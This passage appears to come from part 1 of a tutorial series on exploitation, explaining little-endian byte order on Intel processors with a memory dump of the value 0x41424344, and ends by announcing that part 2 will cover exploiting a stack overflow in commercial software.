In a Little endian hardware , the least significant byte of the word / dword is stored first at the lowest memory address and the next subsequent bytes are stored at increasing memory locations . Intel processors store the data in the little endian format . So If you take the memory dump of the bytes stored in little endian format , you will find 0x41424344 stored in the memory as below:

ADDRESS      : ---- MEMORY BYTES ----------
0x0012ff6c  : 44 43 42 41 00 00 00 00 00 ...


In part 2 of this series, we will explore stack overflow vulnerability in a commercial software and see how it can be exploited to do something very intersting..